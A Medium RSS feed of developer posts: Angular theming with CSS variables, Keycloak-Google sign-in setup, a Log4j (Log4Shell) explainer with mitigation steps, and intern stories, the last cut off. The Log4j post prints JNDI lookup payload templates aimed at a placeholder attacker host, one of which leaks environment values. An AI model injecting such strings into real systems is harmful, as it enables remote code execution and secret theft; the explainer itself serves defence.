<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[codeshakeio - Medium]]></title>
        <description><![CDATA[We live up in the cloud, using cutting-edge technologies to make our clients’ lives easier. Specialized in the Google Cloud ecosystem, we develop highly scalable systems that serve more than 250k daily active users across the world. - Medium]]></description>
        <link>https://medium.com/codeshakeio?source=rss----945d0b03f0f0---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>codeshakeio - Medium</title>
            <link>https://medium.com/codeshakeio?source=rss----945d0b03f0f0---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 08:12:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/codeshakeio" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Add themes to Angular using CSS variables]]></title>
            <link>https://medium.com/codeshakeio/add-themes-to-angular-using-css-variables-fc49798285c6?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/fc49798285c6</guid>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[typescript]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[front-end-development]]></category>
            <dc:creator><![CDATA[Ertunga Bezirgan]]></dc:creator>
            <pubDate>Mon, 08 Aug 2022 10:15:28 GMT</pubDate>
            <atom:updated>2022-08-08T10:15:28.058Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eFsl8ktzisTq8cJo" /><figcaption>Photo by <a href="https://unsplash.com/@unarchive?utm_source=medium&amp;utm_medium=referral">Jeremy Bezanger</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Providing different themes for users to choose from has become pretty much a standard these days and it’s quite easy to implement using Angular. In this article, we are going to learn how to add themes to Angular apps using a simple service and the power of CSS variables (aka CSS custom properties).</p><p>Here is what we are aiming for</p><ul><li>Multiple themes to choose from (light, dark, and possibly more)</li><li>Store the selected theme in local storage</li><li>Apply stored theme upon revisit</li></ul><p>And here is what the final result looks like,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*Rv6jnxSxOoConzrlryRMBg.gif" /></figure><h4>Overview</h4><p>We are going to create a service to hold the “active theme” as a state and also it will be responsible for changing the theme. This is going to be achieved by swapping CSS classes associated with the theme. CSS classes in return will be responsible for the theme change via CSS variables.</p><h4>Define Themes</h4><p>Let’s jump right into it by defining the themes we want to have in the application. To do so, we are going to create a file called theme.ts and expose an object from it. Keys of the object will be the theme names and their values will be the CSS classes associated with the theme. Here is an example in which we defined light, dimmed, and dark themes:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/55d7afe86f899aff64a83a2ed59e5a84/href">https://medium.com/media/55d7afe86f899aff64a83a2ed59e5a84/href</a></iframe><h4>Theme Classes</h4><p>In the next step, we are going to create CSS classes. Navigate to your global stylesheet (styles.{scss,css,less}) and add the following code to it.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d20be8e763987b11783b18c67e74786f/href">https://medium.com/media/d20be8e763987b11783b18c67e74786f/href</a></iframe><p>You can add more variables if you need to. Notice that I already used two of the CSS variables in the body element. Right now, it doesn’t do anything because we haven’t set the theme just yet.</p><h4>Theme Service</h4><p>Now that we defined our themes and created CSS classes, we are going to create a service to hold the active state and change it. Create a service called theme and add the following code to it.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1266cced9fcb706ae31b8d788f66a30d/href">https://medium.com/media/1266cced9fcb706ae31b8d788f66a30d/href</a></iframe><p>There are a couple of things to mention here.</p><ul><li>BehaviorSubject is used to keep the active theme as a state.</li><li>activeTheme getter method is created to get the active theme. An observable alternative, activeTheme$, is also added in case we want to subscribe to it.</li><li>To set the theme, set(...) method is created which takes “theme name” as an argument. Using the themes we defined earlier in theme.ts, it will remove and add CSS classes to the documentElement.</li><li>Also, I’ll throw in a getter method called themeNames to list all the possible themes.</li></ul><h4>Usage</h4><p>To use the service, inject it into the app component and call the set(...) method.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/41059da90b40f7b0bed18406ac4641fc/href">https://medium.com/media/41059da90b40f7b0bed18406ac4641fc/href</a></iframe><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7f2903a3082c09b3470443741ad027ff/href">https://medium.com/media/7f2903a3082c09b3470443741ad027ff/href</a></iframe><p>And that’s it, theme selection is working. This will set the ‘light’ theme by default. You can add more styles for the component and start using themes in the application.</p><p>This is nice and all but regardless of what the user selects, the selection will be lost on a page reload since it’s not saved anywhere. Let’s fix this problem by adding local storage to the implementation.</p><h4>With Local Storage</h4><p>We’ll change some code in the app component.</p><ol><li>Check local storage first to see if a value is set.</li><li>If there is a value, and the saved value is listed in the theme.ts we created earlier, set the theme. If not, set the ‘light’ theme as the default theme.</li><li>Start listening to the theme changes using activeTheme$ observable and set the new theme to the local storage.</li></ol><p>Here is the new implementation of app component,</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/768665931b680fe4708c68347e5b215b/href">https://medium.com/media/768665931b680fe4708c68347e5b215b/href</a></iframe><p>And with these small changes, the selected theme will be set when you reload the page or revisit it later on.</p><h4>Bonus: Use it with Tailwind CSS</h4><p>The same service can be used to toggle light and dark modes in Tailwind CSS. You can refactor it in two ways:</p><ol><li>Either change theme.ts and remove “-theme” suffix from themes. And don’t forget to remove them from the classes in styles.{scss,css,less} as well. And finally, add the following line to your tailwind.config.js file.</li></ol><pre>module.exports = {<br>  // ...   <br>  darkMode: &#39;class&#39;<br>}</pre><p>2. Second way is to keep everything as is and just add the following to tailwind.config.js</p><pre>module.exports = {<br>  // ...   <br>  darkMode: [&#39;class&#39;, &#39;.dark-theme&#39;]<br>}</pre><h4>Done! 🎉</h4><p>And that’s really it!</p><p>Here is the complete source code.</p><p><a href="https://stackblitz.com/edit/angular-with-css-variables?file=src/app/app.component.html">Angular Theme with CSS Variables - StackBlitz</a></p><p>You can find more utilities like this in the following repo 🙌</p><p><a href="https://github.com/ertunga/ng-snippets">GitHub - ertunga/ng-snippets: A collection of essential Angular services, directives, pipes and other tools to prototype and develop quickly.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc49798285c6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/add-themes-to-angular-using-css-variables-fc49798285c6">Add themes to Angular using CSS variables</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“Configure Keycloak to use Google as an IdP”]]></title>
            <link>https://medium.com/codeshakeio/configure-keycloak-to-use-google-as-an-idp-4e3c59583345?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/4e3c59583345</guid>
            <category><![CDATA[single-sign-on]]></category>
            <category><![CDATA[identity-provider]]></category>
            <category><![CDATA[openid-connect]]></category>
            <category><![CDATA[keycloak]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Gokhan Konuk]]></dc:creator>
            <pubDate>Tue, 26 Jul 2022 07:12:13 GMT</pubDate>
            <atom:updated>2022-07-26T07:12:13.725Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ilApApWG517QJAJZgO15CQ.jpeg" /></figure><h4>🗣️ Introduction</h4><p>Keycloak is an open-source software product to allow single sign-on with Identity and Access Management aimed at modern applications and services.</p><p>Keycloak supports out-of-the-box an extensive list of social networks: Google, Github, Facebook, Linkedin, Microsoft, Twitter, and many other providers. It’s even flexible enough to support the integration of any <em>OpenId Connec</em>t or <em>SAML 2.0</em> provider.</p><p>In this post, I will show you how you can configure a sign-in with Google functionality.</p><h4>🧰 <strong>Prerequisites</strong></h4><ul><li>A realm on Keycloak</li><li>A Google Application on the Google developers portal</li></ul><h3>Configure Keycloak with the credentials from your Google Application</h3><h4>Keycloak</h4><p>Login to your Keycloak admin interface, and then, click Identity providers in the left column and select <em>Google</em> between the available providers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*3BQT3ft4EVnV8n2Z-bCa9g.jpeg" /><figcaption>Select Google identity provider</figcaption></figure><p>On the new page that appears note the <em>Redirect URI</em>, we will need it later when we set up the Google Application. It should be something like:</p><pre><a href="https://your_keycloak_domain/auth/realms/YOUR_REALM_NAME/broker/google/endpoint">https://YOUR_KEYCLOAK_DOMAIN/auth/realms/YOUR_REALM_NAME/broker/google/endpoint</a></pre><p>Keep this page open in a tab of your browser, we will go to Google for a while but we will continue on Keycloak in the last step of this guide.</p><h4>Google Application</h4><p>Head to <a href="https://console.developers.google.com/">this page</a>, log in with your Google Account and you will see the Google Developers Console. This is where you configure the Google APIs for your project.</p><p>Click on the dropdown near the Google Cloud (Google APIs) on top, and select the related project, you will see a page similar to the one in the following screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*b7sEoolfN6yi4RXK.jpg" /><figcaption>Project dashboard Google API</figcaption></figure><p>Click on <em>Explore and enable APIs </em>where you should enable <strong><em>google+ API</em></strong> and you will be redirected to the following page, and then, click <em>Credentials</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*rvbv6b3IzH4ujPaZ.jpg" /><figcaption>Click on Credentials</figcaption></figure><p>After clicking on Credentials, Google Developers Console recall us that we need to <em>Configure the consent screen.</em> This is a mandatory step for our integration and it basically configures what our users will see when we redirect them to Google for signing in.</p><p>Let’s do it now, click on that button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*XnzaBtE02M8n0aOo.jpg" /><figcaption>Configure consent screen</figcaption></figure><p>Select the <em>proper option</em> that we want to allow user type(for this example I will use External) to sign in to our application. Then click on <em>Create</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*l08vfeJcDXGodvGVnuxJnw.jpeg" /><figcaption>OAuth consent screen</figcaption></figure><p>We will be redirected to a page with many settings, fill them as follows:</p><ul><li><strong>Application type</strong>: Public</li><li><strong>Application name</strong>: Your application name (for this example I will use Keycloak Test App)</li><li><strong>Authorized domains</strong>: Your application&#39;s top-level domain name</li><li><strong>Application Homepage link</strong>: Your application homepage</li><li><strong>Application Privacy Policy link</strong>: Your application privacy policy link</li></ul><p>Then click on <em>Save</em> at the end of the page.</p><p>After configuring the consent screen, now click again on <em>Credentials</em> &amp; click on <em>Create Credentials:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*A1ma1b3mm8vUY20u.jpg" /><figcaption>Create credentials</figcaption></figure><p>Select <em>OAuth client ID </em>option from the dropdown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*dGfsRJtniwUp6NvUsXM_iA.jpeg" /><figcaption>Create OAuth client ID</figcaption></figure><p>Select <strong><em>Web Application</em></strong> as the type of your application, add a name for your application, and into the Authorized redirect URIs field add the <strong><em>URL</em></strong> you saved at the end of the <strong>first step</strong> of this guide. It should be something like:</p><pre><a href="https://your_keycloak_domain/auth/realms/YOUR_REALM_NAME/broker/google/endpoint">https://YOUR_KEYCLOAK_DOMAIN/auth/realms/YOUR_REALM_NAME/broker/google/endpoint</a></pre><p>You will get now a set of credentials, a <em>Client ID,</em> and a <em>Client Secret</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*UwWMXUvo8aSAT5NY.jpg" /><figcaption>Get your Credentials</figcaption></figure><p>Take note of <em>Client ID</em> and <em>Client Secret</em>, you will need them while setting up Keycloak in the last part of this guide.</p><h4>Keycloak</h4><p>Go back to Keycloak and add the <em>Client ID</em> and <em>Client secret</em> on the page we left at the end of the first step of this guide. Then click on <em>Save</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*IZyul7ntesM9b52g.jpg" /><figcaption>Configure Client ID &amp; Client Secret for IdP</figcaption></figure><p>We are done. Now, whenever you want to log in with a Keycloak configured client you will find the option to log in with Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*EHSMAUEZe5BGO2N1.jpg" /><figcaption>Log in with Google</figcaption></figure><p>Hopefully, this was in some way helpful to someone…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e3c59583345" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/configure-keycloak-to-use-google-as-an-idp-4e3c59583345">“Configure Keycloak to use Google as an IdP”</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“The Log4j Vulnerability & Mitigations”]]></title>
            <link>https://medium.com/codeshakeio/the-log4j-vulnerability-mitigations-c299fee09c7d?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/c299fee09c7d</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[log4shell]]></category>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[log4j]]></category>
            <dc:creator><![CDATA[Gokhan Konuk]]></dc:creator>
            <pubDate>Tue, 14 Dec 2021 13:30:50 GMT</pubDate>
            <atom:updated>2021-12-20T12:33:40.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PDoRo_Yp0MEpSep60mMv9A.jpeg" /><figcaption>The Grand Gallery. Credit: ScanPyramids Mission</figcaption></figure><p>If you’re into the tech world, you must have noticed that a lot of people talk about zero-day vulnerabilities in lots of software over the weekend due to the dependency on the Log4j log library. Curious about all these, I did some research and compiled them for you.</p><h4>What is Log4j?</h4><blockquote><a href="https://github.com/apache/logging-log4j2"><em>Log4j</em></a><em> is an open source logging library written in Java that was developed by the Apache Software Foundation. Millions of applications use it, and some of them are enormously popular — such as iCloud, Steam, and Minecraft — so the potential reach of this problem is enormous.</em></blockquote><h4>What is a Zero-day vulnerability?</h4><blockquote><em>A </em><strong><em>zero-day</em></strong><em> (also known as </em><strong><em>0-day</em></strong><em>) is a computer-software </em><a href="https://en.wikipedia.org/wiki/Vulnerability_(computing)"><em>vulnerability</em></a><em> either unknown to those who should be interested in its mitigation (including the vendor of the target software) or known and a patch has not been developed</em></blockquote><h4>What was the vulnerability discovered in Log4j?</h4><blockquote><em>An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.</em></blockquote><blockquote>See the original <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE</a> link.</blockquote><blockquote>See the original <a href="https://logging.apache.org/log4j/2.x/security.html">Apache</a> link.</blockquote><p>On December 9th, 2021, the security community became aware of active exploitation attempts of a vulnerability in Apache Log4j 2. The vulnerability, also known as “Log4Shell”, is trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form. Further variations are documented below:</p><pre>${jndi:ldap://&lt;malicious infrastructure&gt;/&lt;payload&gt;}  <br>${jndi:dns://&lt;malicious infrastructure&gt;/&lt;payload&gt;} <br>${jndi:ldap://${env:&lt;user&gt;}.&lt;malicious infrastructure&gt;/&lt;payload&gt;}</pre><p>The exploit allows the use of remote code execution (RCE) in a vulnerable system, which means an attacker can then gain full control of them. This is done by sending a specific string to the logger which then triggers a lookup to a remote server owned by the attacker, the response from which contains a code that is injected into the vulnerable server process. The attacker is then able to execute commands with the same level of privilege as the application that uses the logging library.</p><p>It’s difficult to assess the extent of possible impact as Log4j2 is used across a variety of products and services, from Apache products like Struts, Solr, and Flink to security products like ElasticSearch, Logstash, and Kafka, and even Minecraft servers.</p><h4>What Should We Do for Mitigation?</h4><blockquote><em>Firstly, check your project dependencies tree for Log4j:</em></blockquote><pre>Using gradle wrapper:</pre><pre>./gradlew :app:dependencyInsight --configuration compile --dependency &lt;name&gt;</pre><pre><strong>Note:</strong> Replace app with the project module name.</pre><blockquote>If the listed dependencies tree has the vulnerability version of Log4j:</blockquote><pre><strong>If you use Log4j dependency directly:</strong></pre><pre>you should update to version 2.15.0 or 2.16.0 in your build.gradle file</pre><pre><strong>If you use Log4j dependency due to third part dependencies:</strong></pre><pre>add below block to your build.gradle file:</pre><pre>configurations.all <strong>{<br>   </strong>resolutionStrategy.eachDependency <strong>{ </strong>DependencyResolveDetails details <strong>-&gt;<br>      </strong>if (details.requested.group == &#39;org.apache.logging.log4j&#39;) {<br>         details.useVersion &#39;2.15.0&#39; or &#39;2.16.0&#39;<br>      }<br>   <strong>}<br>}</strong></pre><p>For all organizations using Log4j, <strong>you should update to version 2.15.0 or 2.16.0 as soon as possible</strong>.</p><blockquote>From log4j 2.15.0, this behavior (message lookup substitution) has been disabled by default.</blockquote><blockquote>From version 2.16.0, this functionality has been completely removed.</blockquote><p>Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.</p><p>The latest version can be found on the <a href="https://logging.apache.org/log4j/2.x/download.html">Log4j download page</a>. There are reasons why this may not be immediately possible and there are some other steps that can be taken to mitigate the vulnerability while you do so listed <a href="https://logging.apache.org/log4j/2.x/security.html">here</a>. The main takeaway is to set the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.</p><p>Another more general step is to store credentials in a secret store and not as Env Variables.</p><p>Hopefully, this was in some way helpful to someone...</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c299fee09c7d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/the-log4j-vulnerability-mitigations-c299fee09c7d">“The Log4j Vulnerability &amp; Mitigations”</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A great internship experience]]></title>
            <link>https://medium.com/codeshakeio/a-great-internship-experience-6b9623067ad8?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/6b9623067ad8</guid>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[jira]]></category>
            <category><![CDATA[internships]]></category>
            <category><![CDATA[integration]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Mert]]></dc:creator>
            <pubDate>Fri, 19 Nov 2021 10:17:08 GMT</pubDate>
            <atom:updated>2021-11-19T10:17:08.648Z</atom:updated>
            <content:encoded><![CDATA[<p>This is simply a story about an internship at Codeshake.</p><p>To start, let me introduce myself;</p><p>I am Mert. I currently study at Bogazici University and I&#39;m a senior now, after my internship. My experience before Codeshake was another internship. Again about software engineering. I am an enthusiast of video games and movies.</p><p>And Codeshake;</p><p>Codeshake is a software development company. They use cloud systems to be more scalable, maintainable with their products. Using Google Cloud to do so. They are cooperatively working on projects with Cloudwise. Many projects are being handled by the company. My buddies’ (mentors) (Utku Kafalier and Melike Dogan) project were an online exam software (COOL Check which can be found by this link <a href="https://www.cloudwise.cool/product/cool-check/">https://www.cloudwise.cool/product/cool-check/</a>) for schools in the Netherlands. They were working with Cloudwise which was working with many schools. And they publish some good articles about different topics on Medium. (which can be found by this link <a href="https://medium.com/codeshakeio">https://medium.com/codeshakeio</a>).</p><p>Now, let&#39;s start to talk about my internship.</p><p>I was introduced to an already started project. The project was about making a poker-like system about scrums. A scrum poker. The “Scrum Poker”. When I joined our project looked like this, which was already a great project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*2TOQodFKNP3TT0fz.png" /></figure><p>When I started, I did not know anything about Angular. So I talked to my buddies (yeah, in Codeshake there are no mentors, we call ourselves buddies). They helped me with learning about it. They shared resources, they showed me how to approach it.</p><p>By the end of the first week, I was ready to go! (well, not all the way but still, I could do stuff). My first week was another intern’s (Emre) last week. He was going to do a presentation. Our buddy showed us some prototype designs. Together we started to implement those. I was in charge of the dashboard. And when our work was done, the dashboard looked like this,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V36_XlkWYSYU5UCM.png" /></figure><p>The dialog was shown here but there were more on the screen, by the end of my internship this design would change so I could not find another screenshot.</p><p>And then I was alone, as an intern. But my buddies were really helpful. They found time from their work and helped me with my work. I transferred the repository and Google project to my accounts.</p><p>I started easy. My job was to create a header for the whole app. It had avatars, names. This sounds easy and yes it is easy but I just started learning :). So I learned about routers. We had Google authentication in our app already implemented. I added a sign-out button. To do so, I learned about authentication and Angular animations. Angular animations are not that hard (but still I was not an expert on CSS so it took a bit) but we had issues with our authentication. So I learned about subjects and how to use them.</p><p>Another job was to implement a sidebar. We were using Angular Material so, I researched about it and in the end, I was able to implement it.</p><p>Angular Material is cool and all but sometimes you need more custom things. In our case, our session creation needed one. I still used Angular material but in the validation part, I created new methods to fit it into our validation. I also added some FontAwesome icons to this page as well!</p><p>Then I worked on topics like rescinding votes, footers, how to represent the votes (this is an important issue), refactoring the code (I was provided a great meeting with the experts on this topic by Codeshake! They were really helpful and they taught me the best practices in meetings).</p><p>We were ready to deploy our app to the cloud. My buddies told me the basics about Google Cloud and shared some documents. Then I deployed our backend and frontend to the cloud!</p><p>Jira integration was the most important part of my internship. You can find out more on <a href="https://www.atlassian.com/software/jira">https://www.atlassian.com/software/jira</a> . I started out with basic authentication. It was simple and easy but you had to enter your project’s name and create an API key. So this was definitely not the way to go. Then I learned about Oauth2.0 authentication and how Atlassian used it. You can check out <a href="https://developer.atlassian.com/cloud/confluence/oauth-2-3lo-apps/">https://developer.atlassian.com/cloud/confluence/oauth-2-3lo-apps/</a> . It is a great documentation with all those examples and workflows. It was really satisfactory! (after it was perfectly working obviously :) )</p><p>We implemented some more designs. Such as animations, cards, etc. In the end, it was looking really great.</p><p>There are more functionalities in the app that I did not talk about above. Such as translation (Turkish-English), moving background, a custom sidebar with lock-pin functionality and blobs, seeing active users, custom loading animation, etc.</p><p>Here are some pictures from the app;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KEkdDm7cWwDom0kc4g-kA.png" /><figcaption>Dashboard of the app.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BR5yRIcmUazIraRF9_CnSA.png" /><figcaption>Example of session creation.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CC8c44WiwUo9N1y7VBYuUQ.png" /><figcaption>A session while votes are not revealed.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frVH2czoj7aicZZAgYzBqw.png" /><figcaption>Cards are revealed.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkM-qtXEDNrlOc7PVkO3RA.png" /><figcaption>A Jira session creation.</figcaption></figure><p>Thank you for reading. My internship at Codeshake was great. People and work both were amazing, it is not easy to accomplish. I can recommend doing your internship here, you would not regret it!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b9623067ad8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/a-great-internship-experience-6b9623067ad8">A great internship experience</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Internship Odyssey]]></title>
            <link>https://medium.com/codeshakeio/an-internship-odyssey-771fe80715cd?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/771fe80715cd</guid>
            <category><![CDATA[codeshake]]></category>
            <dc:creator><![CDATA[Emre Aydemir]]></dc:creator>
            <pubDate>Tue, 28 Sep 2021 12:38:51 GMT</pubDate>
            <atom:updated>2021-09-28T12:38:51.794Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’m going to tell you about my summer internship experience at Codeshake. But firstly, I would like to introduce myself and the company I interned at.</p><p>I am <strong><em>Emre Aydemir</em></strong>, an undergraduate CSE student who has just finished his third year at Marmara University. I like working on both frontend and backend, as well as testing &amp; learning new technologies and creating visual products. I would like to say that I am proud to be one of the pioneer students in the Codeshake internship program. I believe that my experience will also help the following interns and mentors to have an even better internship experience.</p><h4><strong>CODESHAKE</strong></h4><p><a href="https://codeshake.io/#about"><strong><em>Codeshake</em></strong></a> is a software company in partnership with Cloudwise Holding BV from the Netherlands. Codeshake loves working with cloud platforms! Their specialty is mainly based on Google Cloud Ecosystem and they support it with other technologies. They have lots of skillful and energetic employees and almost everybody works as a full stack developer. Oh, and they are very fond of coffee! They even send you coffee and flavored soaps!</p><p><strong>Part 1 : The Warm Up</strong></p><p>In the beginning of my internship I met my mentor/buddy Ali to learn the overall process and what my internship will be about. We decided on having regular meetings every morning for about 15–30 minutes. Ali’s general method was to push myself to try to solve my problems on my own as much as I could.</p><p>My first tasks were on improving my knowledge about some of the software platforms Codeshake oftenly uses, so I started searching about technologies such as Docker, Google Cloud Platform (GCP) and Firebase.</p><p><strong>SERVERLESS</strong></p><p>Serverless is a cloud computing model where you can deploy and run your applications.Even though the name itself feels confusing, serverless doesn’t actually mean serverless. There are still servers. You just don’t need to worry about the management for your app after you deploy as Cloud does this for you.</p><p><strong>DOCKER</strong></p><p>Simply <a href="https://www.docker.com/get-started"><strong><em>Docker</em></strong></a> is a software that allows you to create images for any program you have so that you can make it run on any platform that supports Docker. These images can later be deployed to Google’s serverless environment and then they will be ready to run!</p><p><strong>CLOUD RUN</strong></p><p><a href="https://cloud.google.com/run"><strong><em>Cloud Run</em></strong></a><strong><em> </em></strong>is a serverless<strong><em> </em></strong>environment where you can deploy your Docker images and make them run. I used Cloud Run to deploy my Spring backends Dockerized image and make it run there.</p><p><strong>FIREBASE</strong></p><p>Firebase is also one of the platforms Google developed. Its general purpose is to make it easier to develop web and mobile apps and games. Since I was going to create a web app it was the perfect tool for me.</p><p>Firebase has two database options: <a href="https://firebase.google.com/docs/database?hl=en"><strong><em>Realtime Database</em></strong></a> and <a href="https://firebase.google.com/docs/firestore?hl=en"><strong><em>Firestore</em></strong></a>.</p><p>I tried using both but in the end I liked Firestore better because it felt easier to use in Java.</p><p><strong>QUIZ APP</strong></p><p>Now, about the internship project… The project idea was to create a simple quiz web app using the technologies above. Spring Boot as the backend, Angular as the frontend, and Firestore as database. Lastly, backend was going to be deployed into Cloud Run and frontend to the Firebase hosting.</p><p>I started the project by creating the backend first. It was a simple backend with Spring Boot so the methods didn’t take too long to create. There were simple controller and service classes as SessionController and SessionService. And also a Firebase initializer. I also added a JSON parser class by using Gson because learning Firebase Realtime db was a little bit tough for me so I also added support for JSON mock data until I solve my Firebase problems.</p><p>Our working style was about being as planned as one can be. For example, I was supposed to create tickets in my Trello workspace like a sprint model. I created sections in my workspace such as backlog, in progress, waiting pr, done . New tickets were inside the backlog section and whenever I was working on an issue I would pull that ticket into the progress section. Lastly, after I’m done with it, I would create a pr request in my github repo and put the ticket into the waiting pr section. So, this was a little Scrum experience for me.</p><p>Ali also asked me to join some of his team Next-Gen’s meetings because he wanted me to learn from these working experiences. I joined two meetings with Team Next-Gen. One of them was called backlog refinement and the second one was a sprint meeting. They were very nice experiences. There were many other participants in these meetings and some of them were from different countries around the world and everybody was speaking English naturally. Sometimes I had hard times understanding what they were saying but eventually it got easier.</p><p>In the following days in my second week, due to the heavy workload of Ali, I had to change my mentor which would mean a new team, new project and new responsibilities.</p><p><strong>PART 2: TEAM PENGUIN</strong></p><p>Well, Penguin was a team mentored by Melike and Utku. Luckily, before I joined them they taught a lot to another intern Zeynep and created a nice start for the frontend project which is called Scrum Poker. Considering that I didn’t really have any frontend knowledge up until this point, now I could learn from this project and contribute to it.</p><p><strong>SCRUM POKER</strong></p><p>Scrum Poker is basically an app we built that you can argue on your sprints with your friends, create and edit tickets, allow users to join with their Google accounts and let them vote points for the tickets. The scoring is based on Fibonacci numbers. You can give any of these numbers: 1, 2, 3, 5, 8, 13, 21, 34. Most of the time points are given in the range of 1 and 5. The idea is, everybody in that session votes for that ticket and the vote is not possible to see until the admin allows you. The scores declare how hard that task is going to be or how long it is going to take. After users vote, scrum master (admin) allows everyone to see every point given by other users. Finally, after a discussion admin and users agree on the appropriate score for that task and then move on to the next task. Then the same process all over again.</p><p>Scrum Poker consists of an Angular frontend, a Spring Boot backend and a Firestore database. Utku was usually assisting us in the frontend side with the page structures like scripts, HTML and CSS and Melike with the frontend services like Google Sign In, Firebase Cloud Messaging and backend side…</p><p>In Penguin, we were using Jira software to handle our sprints. This time tickets, branches and pull requests were a little bit more organized because now I was better at Github usage now and working with a team comes with these kinds of responsibilities that you must satisfy.</p><p><strong>GOOGLE SIGN IN</strong></p><p>For starters, the project needed a Google Sign In functionality, so that we could get the appropriate user info from Google. So we implemented the Gapi auth2 service. This way we could easily allow users to sign in with their Google accounts. And then we retrieved the appropriate basic user infos from Google while they were voting.</p><p><strong>DASHBOARD</strong></p><figure><img alt="" 